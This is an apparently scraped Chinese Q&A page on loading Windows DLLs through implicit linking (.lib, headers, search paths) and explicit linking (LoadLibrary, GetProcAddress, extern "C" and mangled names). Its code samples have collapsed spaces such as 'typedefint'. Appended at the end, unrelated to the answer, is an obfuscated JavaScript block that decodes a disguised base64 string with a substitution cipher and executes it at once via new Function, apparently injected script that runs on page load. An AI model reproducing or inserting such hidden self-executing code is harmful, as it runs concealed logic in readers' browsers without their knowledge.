如何加载动态库dll

2025年04月07日 08:40
有1个网友回答
网友(1):

可以通过两种方式

1.隐式链接(需要.dll,.lib,.h)

2.显式链接(需要.dll,.h)

方法1:隐式链接----需要.lib,.dll,.h文件

隐式链接就是在程序开始执行时就将DLL文件加载到内存当中,而显示链接,是实时加载,程序需要的时候加载,不需要的时候,卸载。

这种方式需要DLL文件,以及相应的Lib文件和头文件。

只要没有在程序中显式链接的,都是隐式链接

Windows程序bin目录包含了可执行文件(.exe)和动态链接库(.dlll),lib目录包含了静态库。

步骤

第一步:将.dll,lib,.h文件放入对应的搜索路径
●其中动态库的搜索路径点击这里查看,记住最重要的两个
1、项目当前目录(.cpp)目录
2、path环境变量中的目录

●静态库的搜索路径包括
1、项目当前目录.cpp目录(项目和解决方案的Debug不行)(也不是解决方案目录)
2、VC设置中的库目录(Library Directories)

注:如果lib库不放到搜索路径中,也可以在程序中添加

#pragmacomment(lib,"D:/DLLTest.lib")//若是相对路径,则为项目当前.cpp目录

●头文件搜索路径包括
1、VC设置中的包含目录(Include Directories)

第二步:一定要在VC设置中的依赖项中添加你用到的库的名字

第一种(对应上面每种搜索路径1):针对数量较少的库

设置.dll,.lib搜索路径:直接将.dll,.lib,.h放入项目当前目录下(即含有项目源文件.cpp的目录)

设置.h的搜索路径:VC设置中的包含目录(Include Directories)加入你的.h路径

然后在链接->输入->附加依赖项中加入你要使用的静态库。

这里只添加静态库



就可以使用DLL中的函数了。

第二种(对应上面每种搜索路径2):针对数量比较多的库(Opencv)

如Opencv,OSG等开源库的配置

这种方式也是通常开源库的配置方式,如Opencv,OSG等

步骤如下

步骤1. 添加DLL的目录

方法1:★将dll目录(通常为bin目录)放入环境变量Path中(需要重启),path是搜索动态库的目录

步骤2.添加静态库lib库目录和头文件的目录

在工程中的VC++目录中添加静态库目录和头文件目录。

步骤3.添加静态库

在链接->输入->附加依赖项中加入你要使用的静态库(当程序中调用时,会在上述配置的库目录中寻找这个库)。

这里只添加静态库,动态库的目录已放入环境变量中,系统会搜索这个路径的,自动加载.dll

如RmwRoadBoundaryStraightLineDLL.lib

然后,在程序中添加头文件 (在上述配置的头文件目录中寻找),就可以使用DLL中的函数了。

方法2:显式链接---需要DLL(不需要.lib,.h文件)

就是显式加载DLL库

注意:显示链接,导出DLL的时候,采用extern “C”的方式,而不采用_declspec(dllexport),因为 _declspec(dllexport)会有一个”名字改编”的问题(采用了_cdecl调用规约的C++编译方式)。

示例:

如库文件对应的头文件如下

#ifndef DLLTEST_H

#defineDLLTEST_H

//该宏完成在dll项目内部使用__declspec(dllexport)导出

//在dll项目外部使用时,用__declspec(dllimport)导入

//宏DLL_EXPORTS在.cpp中定义

#ifdefDLL_EXPORTS

#defineDLL_EXPORTS  extern"C"_declspec(dllexport)

#else

#define DLL_EXPORTS extern"C"_declspec(dllimport)

#endif

//函数声明

DLL_EXPORTSint  Add(int a, int b);

DLL_EXPORTSint  Sub(int a, int b);

DLL_EXPORTSint  Divide(int a, int b);

#endif//DLLTEST_H

测试代码:

typedefint(*Add)(int a, int b);

typedefint(*Sub)(int a, int b);

HINSTANCE hDLL;

Add Add_;//函数指针

hDLL = LoadLibrary(_T("D:/DLLTest.dll"));//加载动态链接库DLLTest.dll文件;

Add_ = (Add)GetProcAddress(hDLL,"Add");

intresult = Add_(5, 8);

printf("5+8:%d\n",result);

FreeLibrary(hDLL);//卸载.dll文件;

以下是采用__declspec(dllexport)方式导出,不推荐这种方式需要注意函数名的书写问题!

现在DLLTest.h中有函数(采用__declspec(dllexport)方式导出)

#ifndef DLLTEST_H

#defineDLLTEST_H

//该宏完成在dll项目内部使用__declspec(dllexport)导出

//在dll项目外部使用时,用__declspec(dllimport)导入

//宏DLL_EXPORTS在.cpp中定义

#ifdefDLL_EXPORTS

#defineDLL_EXPORTS  __declspec(dllexport)

#else

#define DLL_EXPORTS __declspec(dllimport)

#endif

intDLL_EXPORTS Add(int a, int b);

intDLL_EXPORTS Sub(int a, int b);

intDLL_EXPORTS Divide(int a, int b);

#endif//DLLTEST_H

测试代码

typedefint(*Add)(int a, int b);

typedefint(*Sub)(int a, int b);

HINSTANCE hDLL;

Add Add_;//函数指针

//也可以采用hDLL =LoadLibrary(_T("D:/DLLTest.dll"));

hDLL =LoadLibraryA(("D:/DLLTest.dll"));//加载动态链接库DLLTest.dll文件;

Add_ = (Add)GetProcAddress(hDLL,"?Add@@YAHHH@Z");//!!!!获取函数地址

intresult = Add_(5, 8);

printf("5+8:%d\n",result);

FreeLibrary(hDLL);//卸载.dll文件;

这里需要注意的是:GetProcAddress(hDLL,"函数名");中的函数名要是DLL中的函数名,这个函数名可以用PE Explorer软件查看

由于采用的是VC++处理函数名方式,所以

GetProcAddress(hDLL,"?Add@@YAHHH@Z");// GetProcAddress(hDLL,"函数名");

而不是简单的“Add”,因为DLL中的函数名是结果VC++方式处理过的函数名

显示调用,最好采用extern “C”的方式导出DLL

所以采用隐式链接方式的时候,只加载需要的DLL,在附加依赖项中,只添加需要的DLL对于的lib,不要多加,否则会造成1.加大程序启动时间 2.内存浪费

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();